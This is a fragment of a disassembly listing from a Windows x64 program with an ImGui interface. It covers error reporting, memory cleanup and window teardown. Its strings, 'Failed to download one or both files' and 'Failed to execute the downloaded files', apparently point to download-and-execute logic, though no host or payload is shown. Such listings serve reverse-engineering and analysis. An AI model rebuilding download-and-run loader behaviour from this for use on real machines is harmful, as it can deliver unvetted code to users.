call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x140043837
call fcn.140040e40
cmp byte [0x1400950c0], 0
je 0x140043b07
mov edi, 4
lea rsi, [0x14008cea1]
lea r14, [0x14008cea0]
cmp dword [rbp + 0x290], 0x12
jne 0x140041870
jmp 0x140043b11
lea rdx, str.Failed_to_execute_the_downloaded_files.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400443e0
lea rdx, [0x1400445b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x1400438d1
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400438cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400438cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140045020
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
jmp 0x140043910
lea rdx, str.Failed_to_download_one_or_both_files.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400443e0
lea rdx, [0x1400445b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x140043954
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004394f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004394f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140045020
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140043b00
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043afb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043afb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.Failed_to_execute_the_downloaded_files.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400443e0
lea rdx, [0x1400445b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140043a20
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043a1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043a1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140045020
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], 0
jmp 0x140043a5f
lea rdx, str.Failed_to_download_one_or_both_files.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400443e0
lea rdx, [0x1400445b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x140043aa3
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043a9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043a9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140045020
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140043b00
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043afb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043afb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140045020
xor eax, eax
jmp 0x140043c86
mov dword [rbp + 0x290], 0x12
call fcn.140019450
call fcn.140034e50
mov rcx, qword [0x140095a00]
test rcx, rcx
je 0x140043b34
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140095a00], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [0x140095a18]
test rcx, rcx
je 0x140043b5e
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x140095a18], r12
mov qword [0x140095a20], r12
mov qword [0x140095a28], r12
mov qword [0x140095a30], r12
mov qword [0x140095a38], r12
mov qword [0x140095a40], r12
mov dword [0x140095280], 9
mov byte [0x140095a10], 0
mov byte [0x1400950c1], 1
mov rbx, qword [0x140095950]
mov rcx, rbx
call fcn.140008350
cmp qword [0x140095950], rbx
jne 0x140043bbf
mov qword [0x140095950], r12
test rbx, rbx
je 0x140043be7
mov rcx, rbx
call fcn.140023600
mov rax, qword [0x140095950]
test rax, rax
je 0x140043bde
dec dword [rax + 0x3b0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x1400959a0]
test rcx, rcx
je 0x140043c00
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400959a0], r12
mov rcx, qword [0x1400959a8]
test rcx, rcx
je 0x140043c19
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400959a8], r12
mov rdx, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
jmp 0x140043c86
mov rcx, qword [0x1400959a8]
mov rdx, qword [0x1400959a0]
test rdx, rdx
je 0x140043c5b
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x1400959a0], r12
mov rcx, qword [0x1400959a8]
test rcx, rcx
je 0x140043c6d
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov qword [0x1400959a8], r12
mov rdx, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
mov rcx, qword [rbp + 0x2b8]
xor rcx, rsp
call fcn.140044bd0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
jmp 0x140041090